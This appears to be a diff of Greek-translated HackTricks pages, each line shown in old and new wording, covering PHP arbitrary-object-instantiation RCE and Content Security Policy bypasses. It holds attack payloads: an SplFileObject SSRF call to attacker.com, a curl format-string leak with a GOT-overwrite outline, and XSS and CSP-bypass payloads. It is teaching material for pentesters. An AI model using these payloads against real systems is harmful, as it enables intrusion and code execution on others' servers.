Η δημιουργία νέων αυθαίρετων αντικειμένων, όπως `new $_GET["a"]($_GET["a"])`, μπορεί να οδηγήσει σε απομακρυσμένη εκτέλεση κώδικα (Remote Code Execution, RCE), όπως περιγράφεται σε ένα [**writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/). Το έγγραφο αυτό τονίζει διάφορες στρατηγικές για την επίτευξη RCE.
## RCE μέσω Προσαρμοσμένων Κλάσεων ή Αυτοφόρτωσης
## RCE μέσω Προσαρμοσμένων Κλάσεων ή Autoloading
Η σύνταξη `new $a($b)` χρησιμοποιείται για την αρχικοποίηση ενός αντικειμένου όπου **`$a`** αντιπροσωπεύει το όνομα της κλάσης και **`$b`** είναι το πρώτο επιχείρημα που περνάει στον κατασκευαστή. Αυτές οι μεταβλητές μπορούν να προέρχονται από εισόδους χρηστών όπως GET/POST, όπου μπορεί να είναι συμβολοσειρές ή πίνακες, ή από JSON, όπου μπορεί να εμφανίζονται ως άλλοι τύποι.
Η σύνταξη `new $a($b)` χρησιμοποιείται για να στιγμιοτυπήσει ένα αντικείμενο όπου **`$a`** αντιπροσωπεύει το όνομα κλάσης και **`$b`** είναι το πρώτο όρισμα που περνάει στον constructor. Αυτές οι μεταβλητές μπορούν να προέρχονται από εισόδους χρήστη όπως GET/POST, όπου μπορεί να είναι συμβολοσειρές ή πίνακες, ή από JSON, όπου μπορεί να εμφανίζονται ως άλλοι τύποι.
Σκεφτείτε το παρακάτω απόσπασμα κώδικα:
```php
@ -31,9 +31,9 @@ $b = $_GET['b'];
new $a($b);
```
Σε αυτή την περίπτωση, η ρύθμιση του `$a` σε `App` ή `App2` και του `$b` σε μια εντολή συστήματος (π.χ., `uname -a`) έχει ως αποτέλεσμα την εκτέλεση αυτής της εντολής.
Σε αυτή την περίπτωση, η ανάθεση του `$a` σε `App` ή `App2` και του `$b` σε μια εντολή συστήματος (π.χ. `uname -a`) έχει ως αποτέλεσμα την εκτέλεση αυτής της εντολής.
**Οι συναρτήσεις αυτόματης φόρτωσης** μπορούν να εκμεταλλευτούν αν δεν υπάρχουν τέτοιες κλάσεις άμεσα προσβάσιμες. Αυτές οι συναρτήσεις φορτώνουν αυτόματα κλάσεις από αρχεία όταν χρειάζεται και ορίζονται χρησιμοποιώντας `spl_autoload_register` ή `__autoload`:
**Autoloading functions** μπορούν να εκμεταλλευτούν αν δεν υπάρχουν τέτοιες κλάσεις άμεσα προσβάσιμες. Αυτές οι συναρτήσεις φορτώνουν αυτόματα κλάσεις από αρχεία όταν χρειάζεται και ορίζονται χρησιμοποιώντας `spl_autoload_register` ή `__autoload`:
```php
spl_autoload_register(function ($class_name) {
include './../classes/' . $class_name . '.php';
@ -45,52 +45,76 @@ include $class_name . '.php';
spl_autoload_register();
```
Η συμπεριφορά της αυτόματης φόρτωσης διαφέρει ανάλογα με τις εκδόσεις PHP, προσφέροντας διαφορετικές δυνατότητες RCE.
Η συμπεριφορά του autoloading διαφέρει ανάλογα με τις εκδόσεις του PHP, προσφέροντας διαφορετικές δυνατότητες για RCE.
## RCE μέσω Ενσωματωμένων Κλάσεων
## RCE μέσω ενσωματωμένων κλάσεων
Λείποντας προσαρμοσμένες κλάσεις ή αυτόματους φορτωτές, **οι ενσωματωμένες κλάσεις PHP** μπορεί να είναι επαρκείς για RCE. Ο αριθμός αυτών των κλάσεων κυμαίνεται μεταξύ 100 και 200, ανάλογα με την έκδοση PHP και τις επεκτάσεις. Μπορούν να καταγραφούν χρησιμοποιώντας `get_declared_classes()`.
Ελλείψει custom classes ή autoloaders, οι **built-in PHP classes** μπορεί να είναι αρκετές για RCE. Ο αριθμός αυτών των κλάσεων κυμαίνεται από 100 έως 200, ανάλογα με την έκδοση του PHP και τα extensions. Μπορούν να απαριθμηθούν χρησιμοποιώντας `get_declared_classes()`.
Οι κατασκευαστές που ενδιαφέρουν μπορούν να εντοπιστούν μέσω του API αντανάκλασης, όπως φαίνεται στο παρακάτω παράδειγμα και στον σύνδεσμο [https://3v4l.org/2JEGF](https://3v4l.org/2JEGF).
Οι κατασκευαστές ενδιαφέροντος μπορούν να εντοπιστούν μέσω του reflection API, όπως φαίνεται στο παρακάτω παράδειγμα και στο σύνδεσμο [https://3v4l.org/2JEGF](https://3v4l.org/2JEGF).
**Η RCE μέσω συγκεκριμένων μεθόδων περιλαμβάνει:**
**RCE via specific methods includes:**
### **SSRF + Phar Deserialization**
Η κλάση `SplFileObject` επιτρέπει SSRF μέσω του κατασκευαστή της, επιτρέποντας συνδέσεις σε οποιοδήποτε URL:
Η κλάση `SplFileObject` επιτρέπει SSRF μέσω του constructor της, επιτρέποντας συνδέσεις σε οποιοδήποτε URL:
```php
new SplFileObject('http://attacker.com/');
```
SSRF μπορεί να οδηγήσει σε επιθέσεις αποσυμπίεσης σε εκδόσεις του PHP πριν από την 8.0 χρησιμοποιώντας το πρωτόκολλο Phar.
Το SSRF μπορεί να οδηγήσει σε επιθέσεις αποσειριοποίησης σε εκδόσεις του PHP πριν από την 8.0 χρησιμοποιώντας το πρωτόκολλο Phar.
### **Εκμετάλλευση PDOs**
### **Exploiting PDOs**
Ο κατασκευαστής κλάσης PDO επιτρέπει συνδέσεις σε βάσεις δεδομένων μέσω DSN strings, ενδεχομένως επιτρέποντας τη δημιουργία αρχείων ή άλλες αλληλεπιδράσεις:
Ο constructor της κλάσης PDO επιτρέπει συνδέσεις σε βάσεις δεδομένων μέσω DSN strings, ενδεχομένως επιτρέποντας τη δημιουργία αρχείων ή άλλες αλληλεπιδράσεις:
```php
new PDO("sqlite:/tmp/test.txt")
```
### **SoapClient/SimpleXMLElement XXE**
Οι εκδόσεις του PHP μέχρι την 5.3.22 και 5.4.12 ήταν ευάλωτες σε επιθέσεις XXE μέσω των κατασκευαστών `SoapClient` και `SimpleXMLElement`, ανάλογα με την έκδοση του libxml2.
Έκδοσεις του PHP μέχρι τις 5.3.22 και 5.4.12 ήταν ευάλωτες σε XXE επιθέσεις μέσω των constructors `SoapClient` και `SimpleXMLElement`, ανάλογα με την έκδοση του libxml2.
## RCE μέσω της Επέκτασης Imagick
## RCE via Imagick Extension
Στην ανάλυση των **εξαρτήσεων ενός έργου**, ανακαλύφθηκε ότι η **Imagick** θα μπορούσε να αξιοποιηθεί για **εκτέλεση εντολών** δημιουργώντας νέες αντικείμενα. Αυτό προσφέρει μια ευκαιρία για εκμετάλλευση ευπαθειών.
Στην ανάλυση των **project's dependencies** διαπιστώθηκε ότι η **Imagick** μπορούσε να αξιοποιηθεί για **command execution** μέσω της δημιουργίας νέων αντικειμένων. Αυτό δημιουργεί ευκαιρία για εκμετάλλευση ευπαθειών.
### VID parser
Η δυνατότητα του VID parser να γράφει περιεχόμενο σε οποιαδήποτε καθορισμένη διαδρομή στο σύστημα αρχείων εντοπίστηκε. Αυτό θα μπορούσε να οδηγήσει στην τοποθέτηση ενός PHP shell σε έναν κατάλογο προσβάσιμο μέσω του διαδικτύου, επιτυγχάνοντας Remote Code Execution (RCE).
Διαπιστώθηκε η δυνατότητα του VID parser να γράφει περιεχόμενο σε οποιαδήποτε καθορισμένη διαδρομή στο σύστημα αρχείων. Αυτό μπορεί να οδηγήσει στην τοποθέτηση ενός PHP shell σε έναν web-accessible κατάλογο, επιτυγχάνοντας Remote Code Execution (RCE).
#### VID Parser + Αποστολή Αρχείων
#### VID Parser + File Upload
Σημειώνεται ότι το PHP αποθηκεύει προσωρινά τα ανεβασμένα αρχεία στο `/tmp/phpXXXXXX`. Ο VID parser στην Imagick, χρησιμοποιώντας το **msl** πρωτόκολλο, μπορεί να χειριστεί χαρακτήρες μπαλαντέρ σε διαδρομές αρχείων, διευκολύνοντας τη μεταφορά του προσωρινού αρχείου σε μια επιλεγμένη τοποθεσία. Αυτή η μέθοδος προσφέρει μια επιπλέον προσέγγιση για την επίτευξη αυθαίρετης εγγραφής αρχείων στο σύστημα αρχείων.
Σημειώνεται ότι το PHP αποθηκεύει προσωρινά uploaded αρχεία στο `/tmp/phpXXXXXX`. Ο VID parser στην Imagick, χρησιμοποιώντας το πρωτόκολλο **msl**, μπορεί να χειριστεί wildcards σε file paths, διευκολύνοντας τη μεταφορά του προσωρινού αρχείου σε επιλεγμένη θέση. Αυτή η μέθοδος προσφέρει μια επιπλέον προσέγγιση για εγγραφή αυθαίρετων αρχείων στο σύστημα αρχείων.
### PHP Crash + Brute Force
Μια μέθοδος που περιγράφεται στην [**αρχική αναφορά**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) περιλαμβάνει την αποστολή αρχείων που προκαλούν μια κατάρρευση του διακομιστή πριν από τη διαγραφή. Με την brute-force του ονόματος του προσωρινού αρχείου, καθίσταται δυνατή η εκτέλεση αυθαίρετου PHP κώδικα από την Imagick. Ωστόσο, αυτή η τεχνική βρέθηκε ότι ήταν αποτελεσματική μόνο σε μια παλιά έκδοση του ImageMagick.
Μια μέθοδος που περιγράφεται στο [**original writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) περιλαμβάνει το upload αρχείων που προκαλούν crash του server πριν τη διαγραφή. Με brute-forcing του ονόματος του προσωρινού αρχείου, γίνεται δυνατό για την Imagick να εκτελέσει arbitrary PHP code. Ωστόσο, αυτή η τεχνική βρέθηκε αποτελεσματική μόνο σε παλαιότερη έκδοση του ImageMagick.
## Format-string in class-name resolution (PHP 7.0.0 Bug #71105)
Όταν το user input ελέγχει το όνομα κλάσης (π.χ., `new $_GET['model']()`), η PHP 7.0.0 εισήγαγε ένα προσωρινό bug κατά τη διάρκεια του `Throwable` refactor όπου ο engine εσφαλμένα αντιμετώπιζε το όνομα κλάσης ως printf format string κατά την επίλυση. Αυτό επιτρέπει κλασικά printf-style primitives μέσα στο PHP: leaks με `%p`, έλεγχο του write-count με width specifiers, και arbitrary writes με `%n` εναντίον in-process pointers (π.χ. GOT entries σε ELF builds).
Ελάχιστο αναπαραγωγικό ευάλωτο πρότυπο:
```php
<?php
$model = $_GET['model'];
$object = new $model();
```
Περίγραμμα εκμετάλλευσης (από την αναφορά):
- Leak addresses via `%p` in the class name to find a writable target:
```bash
curl "http://host/index.php?model=%p-%p-%p"
# Fatal error includes resolved string with leaked pointers
```
- Use positional parameters and width specifiers to set an exact byte-count, then `%n` to write that value to an address reachable on the stack, aiming at a GOT slot (e.g., `free`) to partially overwrite it to `system`.
- Trigger the hijacked function by passing a class name containing a shell pipe to reach `system("id")`.
Σημειώσεις:
- Λειτουργεί μόνο σε PHP 7.0.0 (Bug [#71105](https://bugs.php.net/bug.php?id=71105)); διορθώθηκε σε επόμενες εκδόσεις. Severity: critical εάν υπάρχει arbitrary class instantiation.
- Τα τυπικά payloads συνδυάζουν πολλά `%p` για να διατρέξουν το stack, και στη συνέχεια χρησιμοποιούν `%.<width>d%<pos>$n` για να πραγματοποιήσουν την μερική overwrite.
## Αναφορές
- [https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/)
- https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/
- The Art of PHP: CTFborn exploits and techniques
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -2,30 +2,30 @@
{{#include ../../banners/hacktricks-training.md}}
## Τι είναι το CSP
## What is CSP
Η Πολιτική Ασφαλείας Περιεχομένου (CSP) αναγνωρίζεται ως μια τεχνολογία προγράμματος περιήγησης, κυρίως με στόχο την **προστασία από επιθέσεις όπως η διασταυρούμενη σcripting (XSS)**. Λειτουργεί καθορίζοντας και περιγράφοντας διαδρομές και πηγές από τις οποίες οι πόροι μπορούν να φορτωθούν με ασφάλεια από το πρόγραμμα περιήγησης. Αυτοί οι πόροι περιλαμβάνουν μια σειρά στοιχείων όπως εικόνες, πλαίσια και JavaScript. Για παράδειγμα, μια πολιτική μπορεί να επιτρέπει τη φόρτωση και εκτέλεση πόρων από τον ίδιο τομέα (self), συμπεριλαμβανομένων των inline πόρων και της εκτέλεσης κώδικα συμβολοσειρών μέσω συναρτήσεων όπως `eval`, `setTimeout` ή `setInterval`.
Content Security Policy (CSP) αναγνωρίζεται ως τεχνολογία του browser, κυρίως με στόχο την **προστασία από επιθέσεις όπως το cross-site scripting (XSS)**. Λειτουργεί ορίζοντας και καθορίζοντας τις διαδρομές και τις πηγές από τις οποίες ο browser μπορεί να φορτώνει με ασφάλεια πόρους. Αυτοί οι πόροι περιλαμβάνουν στοιχεία όπως εικόνες, frames και JavaScript. Για παράδειγμα, μια πολιτική μπορεί να επιτρέψει τη φόρτωση και την εκτέλεση πόρων από τον ίδιο τομέα (self), συμπεριλαμβανομένων inline resources και την εκτέλεση string code μέσω συναρτήσεων όπως `eval`, `setTimeout`, ή `setInterval`.
Η εφαρμογή του CSP πραγματοποιείται μέσω **κεφαλίδων απόκρισης** ή με την ενσωμάτωση **meta στοιχείων στη σελίδα HTML**. Ακολουθώντας αυτή την πολιτική, τα προγράμματα περιήγησης επιβάλλουν ενεργά αυτούς τους κανονισμούς και μπλοκάρουν αμέσως οποιεσδήποτε ανιχνευμένες παραβάσεις.
Η εφαρμογή του CSP γίνεται μέσω **response headers** ή με την ενσωμάτωση **meta elements στην HTML σελίδα**. Σύμφωνα με αυτή την πολιτική, οι browsers επιβάλλουν ενεργά αυτούς τους κανόνες και μπλοκάρουν άμεσα τυχόν ανιχνευόμενες παραβιάσεις.
- Implemented via response header:
```
Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';
```
- Υλοποιήθηκε μέσω του meta tag:
- Υλοποιείται μέσω meta tag:
```xml
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">
```
### Headers
CSP μπορεί να επιβληθεί ή να παρακολουθείται χρησιμοποιώντας αυτές τις κεφαλίδες:
Το CSP μπορεί να εφαρμοστεί ή να παρακολουθηθεί χρησιμοποιώντας αυτές τις κεφαλίδες:
- `Content-Security-Policy`: Επιβάλλει το CSP; ο περιηγητής μπλοκάρει οποιεσδήποτε παραβιάσεις.
- `Content-Security-Policy-Report-Only`: Χρησιμοποιείται για παρακολούθηση; αναφέρει παραβιάσεις χωρίς να τις μπλοκάρει. Ιδανικό για δοκιμές σε περιβάλλοντα προ-παραγωγής.
- `Content-Security-Policy`: Επιβάλλει το CSP· ο browser μπλοκάρει τυχόν παραβιάσεις.
- `Content-Security-Policy-Report-Only`: Χρησιμοποιείται για παρακολούθηση· αναφέρει παραβιάσεις χωρίς να τις μπλοκάρει. Ιδανικό για δοκιμές σε προπαραγωγικά περιβάλλοντα.
### Defining Resources
CSP περιορίζει τις προελεύσεις για τη φόρτωση τόσο ενεργού όσο και παθητικού περιεχομένου, ελέγχοντας πτυχές όπως η εκτέλεση inline JavaScript και η χρήση του `eval()`. Ένα παράδειγμα πολιτικής είναι:
Το CSP περιορίζει τις πηγές από τις οποίες φορτώνεται τόσο ενεργό όσο και παθητικό περιεχόμενο, ελέγχοντας πτυχές όπως η εκτέλεση inline JavaScript και η χρήση του `eval()`. Ένα παράδειγμα πολιτικής είναι:
```bash
default-src 'none';
img-src 'self';
@ -39,38 +39,38 @@ object-src 'none';
```
### Οδηγίες
- **script-src**: Επιτρέπει συγκεκριμένες πηγές για JavaScript, συμπεριλαμβανομένων των URLs, inline scripts και scripts που ενεργοποιούνται από event handlers ή XSLT stylesheets.
- **default-src**: Ορίζει μια προεπιλεγμένη πολιτική για την ανάκτηση πόρων όταν απουσιάζουν συγκεκριμένες οδηγίες fetch.
- **child-src**: Προσδιορίζει τις επιτρεπόμενες πηγές για web workers και περιεχόμενο ενσωματωμένων πλαισίων.
- **connect-src**: Περιορίζει τα URLs που μπορούν να φορτωθούν χρησιμοποιώντας διεπαφές όπως fetch, WebSocket, XMLHttpRequest.
- **frame-src**: Περιορίζει τα URLs για πλαίσια.
- **frame-ancestors**: Προσδιορίζει ποιες πηγές μπορούν να ενσωματώσουν τη τρέχουσα σελίδα, εφαρμόσιμο σε στοιχεία όπως `<frame>`, `<iframe>`, `<object>`, `<embed>`, και `<applet>`.
- **img-src**: Ορίζει τις επιτρεπόμενες πηγές για εικόνες.
- **font-src**: Προσδιορίζει έγκυρες πηγές για γραμματοσειρές που φορτώνονται χρησιμοποιώντας `@font-face`.
- **manifest-src**: Ορίζει τις επιτρεπόμενες πηγές αρχείων manifest εφαρμογής.
- **media-src**: Ορίζει τις επιτρεπόμενες πηγές για τη φόρτωση αντικειμένων πολυμέσων.
- **object-src**: Ορίζει τις επιτρεπόμενες πηγές για στοιχεία `<object>`, `<embed>`, και `<applet>`.
- **base-uri**: Προσδιορίζει τα επιτρεπόμενα URLs για φόρτωση χρησιμοποιώντας στοιχεία `<base>`.
- **form-action**: Λίστα έγκυρων endpoints για υποβολές φορμών.
- **plugin-types**: Περιορίζει τους mime τύπους που μπορεί να καλέσει μια σελίδα.
- **upgrade-insecure-requests**: Δίνει οδηγίες στους περιηγητές να ξαναγράψουν τα HTTP URLs σε HTTPS.
- **sandbox**: Εφαρμόζει περιορισμούς παρόμοιους με την ιδιότητα sandbox ενός `<iframe>`.
- **report-to**: Προσδιορίζει μια ομάδα στην οποία θα σταλεί μια αναφορά αν παραβιαστεί η πολιτική.
- **worker-src**: Προσδιορίζει έγκυρες πηγές για scripts Worker, SharedWorker ή ServiceWorker.
- **prefetch-src**: Προσδιορίζει έγκυρες πηγές για πόρους που θα ανακτηθούν ή θα προφορτωθούν.
- **navigate-to**: Περιορίζει τα URLs στα οποία μπορεί να πλοηγηθεί ένα έγγραφο με οποιονδήποτε τρόπο (a, form, window.location, window.open, κ.λπ.)
- **script-src**: Επιτρέπει συγκεκριμένες πηγές για JavaScript, συμπεριλαμβανομένων URLs, ενσωματωμένων scripts, και scripts που ενεργοποιούνται από event handlers ή XSLT stylesheets.
- **default-src**: Ορίζει μια προεπιλεγμένη πολιτική για την ανάκτηση πόρων όταν λείπουν συγκεκριμένες fetch οδηγίες.
- **child-src**: Καθορίζει επιτρεπόμενες πηγές για web workers και περιεχόμενο ενσωματωμένων frames.
- **connect-src**: Περιορίζει τα URLs που μπορούν να φορτωθούν χρησιμοποιώντας interfaces όπως fetch, WebSocket, XMLHttpRequest.
- **frame-src**: Περιορίζει τα URLs για frames.
- **frame-ancestors**: Καθορίζει ποιες πηγές μπορούν να ενσωματώσουν την τρέχουσα σελίδα, εφαρμόζεται σε στοιχεία όπως `<frame>`, `<iframe>`, `<object>`, `<embed>`, και `<applet>`.
- **img-src**: Ορίζει επιτρεπόμενες πηγές για εικόνες.
- **font-src**: Καθορίζει έγκυρες πηγές για fonts που φορτώνονται χρησιμοποιώντας `@font-face`.
- **manifest-src**: Ορίζει επιτρεπόμενες πηγές για αρχεία manifest εφαρμογής.
- **media-src**: Ορίζει επιτρεπόμενες πηγές για φόρτωση media αντικειμένων.
- **object-src**: Ορίζει επιτρεπόμενες πηγές για `<object>`, `<embed>`, και `<applet>` στοιχεία.
- **base-uri**: Καθορίζει επιτρεπόμενα URLs για φόρτωση χρησιμοποιώντας `<base>` στοιχεία.
- **form-action**: Καταγράφει έγκυρους προορισμούς για υποβολές φορμών.
- **plugin-types**: Περιορίζει τους mime τύπους που μια σελίδα μπορεί να επικαλεστεί.
- **upgrade-insecure-requests**: Δίνει οδηγία στα προγράμματα περιήγησης να επαναγράψουν HTTP URLs σε HTTPS.
- **sandbox**: Εφαρμόζει περιορισμούς παρόμοιους με το attribute sandbox ενός `<iframe>`.
- **report-to**: Καθορίζει μια ομάδα στην οποία θα σταλεί μια αναφορά αν παραβιαστεί η πολιτική.
- **worker-src**: Καθορίζει έγκυρες πηγές για Worker, SharedWorker, ή ServiceWorker scripts.
- **prefetch-src**: Καθορίζει έγκυρες πηγές για πόρους που θα ανακτηθούν ή θα prefetch-αριστούν.
- **navigate-to**: Περιορίζει τα URLs προς τα οποία ένα έγγραφο μπορεί να πλοηγηθεί με οποιοδήποτε μέσο (a, form, window.location, window.open, κ.λπ.)
### Πηγές
- `*`: Επιτρέπει όλα τα URLs εκτός από αυτά με `data:`, `blob:`, `filesystem:` σχήματα.
- `'self'`: Επιτρέπει τη φόρτωση από την ίδια τομέα.
- `'data'`: Επιτρέπει την φόρτωση πόρων μέσω του σχήματος δεδομένων (π.χ., εικόνες κωδικοποιημένες σε Base64).
- `'none'`: Αποκλείει τη φόρτωση από οποιαδήποτε πηγή.
- `*`: Επιτρέπει όλα τα URLs εκτός από αυτά με σχήματα `data:`, `blob:`, `filesystem:`.
- `'self'`: Επιτρέπει φόρτωση από το ίδιο domain.
- `'data'`: Επιτρέπει πόρους να φορτωθούν μέσω του data scheme (π.χ., Base64 κωδικοποιημένες εικόνες).
- `'none'`: Αποκλείει φόρτωση από οποιαδήποτε πηγή.
- `'unsafe-eval'`: Επιτρέπει τη χρήση του `eval()` και παρόμοιων μεθόδων, δεν συνιστάται για λόγους ασφαλείας.
- `'unsafe-hashes'`: Ενεργοποιεί συγκεκριμένους inline event handlers.
- `'unsafe-inline'`: Επιτρέπει τη χρήση inline πόρων όπως inline `<script>` ή `<style>`, δεν συνιστάται για λόγους ασφαλείας.
- `'nonce'`: Μια λευκή λίστα για συγκεκριμένα inline scripts χρησιμοποιώντας ένα κρυπτογραφικό nonce (αριθμός που χρησιμοποιείται μία φορά).
- Αν έχετε περιορισμένη εκτέλεση JS, είναι δυνατόν να αποκτήσετε ένα χρησιμοποιημένο nonce μέσα στη σελίδα με `doc.defaultView.top.document.querySelector("[nonce]")` και στη συνέχεια να το επαναχρησιμοποιήσετε για να φορτώσετε ένα κακόβουλο script (αν χρησιμοποιείται strict-dynamic, οποιαδήποτε επιτρεπόμενη πηγή μπορεί να φορτώσει νέες πηγές, οπότε αυτό δεν είναι απαραίτητο), όπως στο:
- `'unsafe-inline'`: Επιτρέπει τη χρήση ενσωματωμένων πόρων όπως inline `<script>` ή `<style>`, δεν συνιστάται για λόγους ασφαλείας.
- `'nonce'`: Μια whitelist για συγκεκριμένα inline scripts που χρησιμοποιούν ένα κρυπτογραφικό nonce (αριθμός που χρησιμοποιείται μία φορά).
- Αν έχετε περιορισμένη εκτέλεση JS, είναι πιθανό να πάρετε ένα χρησιμοποιημένο nonce μέσα στη σελίδα με `doc.defaultView.top.document.querySelector("[nonce]")` και στη συνέχεια να το επαναχρησιμοποιήσετε για να φορτώσετε ένα κακόβουλο script (αν χρησιμοποιείται strict-dynamic, οποιαδήποτε επιτρεπόμενη πηγή μπορεί να φορτώσει νέες πηγές οπότε αυτό δεν είναι απαραίτητο), όπως στο:
<details>
@ -88,24 +88,24 @@ b.nonce=a.nonce; doc.body.appendChild(b)' />
```
</details>
- `'sha256-<hash>'`: Λευκή λίστα scripts με συγκεκριμένο sha256 hash.
- `'strict-dynamic'`: Επιτρέπει τη φόρτωση scripts από οποιαδήποτε πηγή αν έχει λευκή λίστα μέσω nonce ή hash.
- `'host'`: Προσδιορίζει μια συγκεκριμένη πηγή, όπως το `example.com`.
- `https:`: Περιορίζει τα URLs σε αυτά που χρησιμοποιούν HTTPS.
- `'sha256-<hash>'`: Εισάγει στη λευκή λίστα scripts με συγκεκριμένο sha256 hash.
- `'strict-dynamic'`: Επιτρέπει τη φόρτωση scripts από οποιαδήποτε πηγή εάν έχουν προστεθεί στη λευκή λίστα μέσω nonce ή hash.
- `'host'`: Καθορίζει έναν συγκεκριμένο host, όπως `example.com`.
- `https:`: Περιορίζει τις διευθύνσεις URL σε αυτές που χρησιμοποιούν HTTPS.
- `blob:`: Επιτρέπει τη φόρτωση πόρων από Blob URLs (π.χ., Blob URLs που δημιουργούνται μέσω JavaScript).
- `filesystem:`: Επιτρέπει τη φόρτωση πόρων από το filesystem.
- `'report-sample'`: Συμπεριλαμβάνει ένα δείγμα του παραβιασμένου κώδικα στην αναφορά παραβίασης (χρήσιμο για αποσφαλμάτωση).
- `'strict-origin'`: Παρόμοιο με το 'self' αλλά διασφαλίζει ότι το επίπεδο ασφαλείας του πρωτοκόλλου των πηγών ταιριάζει με το έγγραφο (μόνο ασφαλείς πηγές μπορούν να φορτώσουν πόρους από ασφαλείς πηγές).
- `'strict-origin-when-cross-origin'`: Στέλνει πλήρη URLs όταν γίνονται αιτήματα ίδιας προέλευσης αλλά στέλνει μόνο την προέλευση όταν το αίτημα είναι διασυνοριακό.
- `'unsafe-allow-redirects'`: Επιτρέπει τη φόρτωση πόρων που θα ανακατευθύνουν αμέσως σε άλλο πόρο. Δεν συνιστάται καθώς αποδυναμώνει την ασφάλεια.
- `'report-sample'`: Περιλαμβάνει δείγμα του παραβατικού κώδικα στην αναφορά παραβίασης (χρήσιμο για αποσφαλμάτωση).
- `'strict-origin'`: Παρόμοιο με το 'self' αλλά διασφαλίζει ότι το επίπεδο ασφάλειας του πρωτοκόλλου των πηγών ταιριάζει με αυτό του εγγράφου (μόνο ασφαλείς προελεύσεις μπορούν να φορτώσουν πόρους από ασφαλείς προελεύσεις).
- `'strict-origin-when-cross-origin'`: Στέλνει πλήρεις URLs όταν γίνονται αιτήσεις ίδιας προέλευσης αλλά αποστέλλει μόνο την προέλευση όταν η αίτηση είναι cross-origin.
- `'unsafe-allow-redirects'`: Επιτρέπει τη φόρτωση πόρων που θα ανακατευθύνουν άμεσα σε άλλον πόρο. Δεν συνιστάται καθώς αποδυναμώνει την ασφάλεια.
## Unsafe CSP Rules
## Μη ασφαλείς κανόνες CSP
### 'unsafe-inline'
```yaml
Content-Security-Policy: script-src https://google.com 'unsafe-inline';
```
Working payload: `"/><script>alert(1);</script>`
Ενεργό payload: `"/><script>alert(1);</script>`
#### self + 'unsafe-inline' μέσω Iframes
@ -117,7 +117,7 @@ csp-bypass-self-+-unsafe-inline-with-iframes.md
### 'unsafe-eval'
> [!CAUTION]
> Αυτό δεν λειτουργεί, για περισσότερες πληροφορίες [**ελέγξτε αυτό**](https://github.com/HackTricks-wiki/hacktricks/issues/653).
> Αυτό δεν λειτουργεί, για περισσότερες πληροφορίες [**δείτε εδώ**](https://github.com/HackTricks-wiki/hacktricks/issues/653).
```yaml
Content-Security-Policy: script-src https://google.com 'unsafe-eval';
```
@ -127,7 +127,7 @@ Content-Security-Policy: script-src https://google.com 'unsafe-eval';
```
### strict-dynamic
Αν μπορείτε με κάποιο τρόπο να κάνετε έναν **επιτρεπόμενο κώδικα JS να δημιουργήσει μια νέα ετικέτα script** στο DOM με τον κώδικά σας JS, επειδή μια επιτρεπόμενη script την δημιουργεί, η **νέα ετικέτα script θα επιτρέπεται να εκτελείται**.
Αν με κάποιον τρόπο καταφέρετε να κάνετε ένα **allowed JS code created a new script tag** στο DOM με τον JS κώδικά σας — επειδή ένα επιτρεπόμενο script το δημιουργεί — τότε το **new script tag will be allowed to be executed**.
### Wildcard (*)
```yaml
@ -150,30 +150,30 @@ Content-Security-Policy: script-src 'self' ;
">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'>
<param name="AllowScriptAccess" value="always"></object>
```
### Αποστολή Αρχείου + 'self'
### File Upload + 'self'
```yaml
Content-Security-Policy: script-src 'self'; object-src 'none' ;
```
Αν μπορείτε να ανεβάσετε ένα αρχείο JS, μπορείτε να παρακάμψετε αυτήν την CSP:
Αν μπορείτε να ανεβάσετε ένα αρχείο JS, μπορείτε να παρακάμψετε αυτό το CSP:
Λειτουργικό payload:
```html
"/>'><script src="/uploads/picture.png.js"></script>
```
Ωστόσο, είναι πολύ πιθανό ότι ο διακομιστής **επικυρώνει το ανεβασμένο αρχείο** και θα επιτρέψει μόνο να **ανεβάσετε καθορισμένο τύπο αρχείων**.
Ωστόσο, είναι πολύ πιθανό ότι ο server **επαληθεύει το αρχείο που ανεβάζετε** και θα σας επιτρέψει μόνο να **ανεβάσετε συγκεκριμένους τύπους αρχείων**.
Επιπλέον, ακόμη και αν μπορούσατε να ανεβάσετε **κώδικα JS μέσα** σε ένα αρχείο χρησιμοποιώντας μια επέκταση που γίνεται αποδεκτή από τον διακομιστή (όπως: _script.png_), αυτό δεν θα είναι αρκετό γιατί μερικοί διακομιστές όπως ο διακομιστής apache **επιλέγουν τον τύπο MIME του αρχείου με βάση την επέκταση** και οι περιηγητές όπως ο Chrome θα **απορρίψουν την εκτέλεση του κώδικα Javascript** μέσα σε κάτι που θα έπρεπε να είναι εικόνα. "Ελπίζουμε", υπάρχουν λάθη. Για παράδειγμα, από ένα CTF έμαθα ότι **ο Apache δεν γνωρίζει** την _**.wave**_ επέκταση, επομένως δεν την σερβίρει με τύπο **MIME όπως audio/\***.
Επιπλέον, ακόμα κι αν καταφέρετε να ανεβάσετε **κώδικα JS μέσα** σε ένα αρχείο χρησιμοποιώντας μία επέκταση που γίνεται αποδεκτή από τον server (π.χ. _script.png_) αυτό δεν θα είναι αρκετό επειδή κάποιοι servers όπως ο Apache **επιλέγουν το MIME type του αρχείου βάσει της επέκτασης** και browsers όπως ο Chrome θα **αρνηθούν να εκτελέσουν Javascript** κώδικα μέσα σε κάτι που θα έπρεπε να είναι εικόνα. "Ευτυχώς", υπάρχουν λάθη. Για παράδειγμα, από ένα CTF έμαθα ότι **ο Apache δεν γνωρίζει** την _**.wave**_ επέκταση, επομένως δεν την εξυπηρετεί με **MIME type όπως audio/***.
Από εδώ, αν βρείτε ένα XSS και μια δυνατότητα ανεβάσματος αρχείου, και καταφέρετε να βρείτε μια **παρερμηνευμένη επέκταση**, θα μπορούσατε να προσπαθήσετε να ανεβάσετε ένα αρχείο με αυτή την επέκταση και το περιεχόμενο του script. Ή, αν ο διακομιστής ελέγχει τη σωστή μορφή του ανεβασμένου αρχείου, δημιουργήστε ένα polyglot ([μερικά παραδείγματα polyglot εδώ](https://github.com/Polydet/polyglot-database)).
